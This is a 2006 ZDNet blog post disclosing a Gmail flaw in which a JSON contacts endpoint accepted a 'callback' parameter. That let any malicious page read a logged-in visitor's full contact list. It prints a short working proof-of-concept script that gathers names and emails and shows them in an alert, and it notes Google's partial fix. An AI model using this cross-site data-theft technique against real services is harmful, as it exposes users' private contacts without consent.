On CNET: Need holiday gift ideas?
BNET Business Network:
BNET
TechRepublic
ZDNet

December 31st, 2006

Serious Gmail vulnerability fixed

Posted by Garett Rogers @ 7:55 pm

Categories: Gmail, Google, Privacy

Tags:

In Focus » See more posts on: Gmail

After posting my last article about the contacts "JSON API", Haochi Chen discovered that by simply appending a "callback" variable in the URL, the creators of a malicious site could gain access to a visitors entire Gmail contact list without warning.

<script language="javascript">
     function getContacts(response){
       var output = "";
       for(x=0;x<response.Body.Contacts.length;x++){
         output += response.Body.Contacts[x].Name + " <" + response.Body.Contacts[x].Email + "> ";
       }
       alert(output);
     }
</script>

<script language="javascript" xsrc="http://video.google.com/data/contacts?out=js&max=500 &psort=Affinity&callback=getContacts">
</script>

This sample script once proudly displayed the visitors contact list if they were logged into their Google account.  Only hours after it was reported to the Google security team, the vulnerability was fixed.

"Thanks for reporting this to us.  We have identified and fixed the problem" — Google Security

It's a little concerning that this problem even existed, but knowing the fix was made only hours after it was reported does warrant some level of reassurance.

Update:
The problem is only partially fixed.  The vulnerability exposed through video.google.com has been patched up, but there are other subdomains where the problem still exists.

Garett RogersGarett Rogers is employed as a programmer for iQmetrix, which specializes in retail management software for the wireless industry. See his full profile and disclosure of his industry affiliations.


Email Garett Rogers

Subscribe to Googling Google via Email alerts or RSS.

  • Talkback
  • Most Recent of 3 Talkback(s)
RE: Serious Gmail vulnerability fixed
(4/08/2008) Is this really fixed? I logoned to a public library computer and opened my Gmail account. I also opened up several standard websites (LinkedIN, Microsoft workspace) - nothing too dangerou... (Read the rest)
Posted by: polarbear77 Posted on: 04/09/08 You are currently: a Guest | | Terms of Use
Oops.  haochi | 01/01/07
It's not properly fixed on any domain  joe_walker | 01/01/07
RE: Serious Gmail vulnerability fixed  polarbear77 | 04/09/08

What do you think?

SponsoredWhite Papers, Webcasts, and Downloads

advertisement

Recent Entries

advertisement

Archives

Favorite Links

ZDNet Blogs

White Papers, Webcasts, and Downloads

  • Smart Tech Expert advice on innovations in healthcare and the green technologies that make it happen. Find out more
  • Smart Business Discussion and advice on management issues that revolve around making your world smarter and more useful. More Smart Advice
  • Smart People The best and worst moves in the management and strategy trenches. Learn More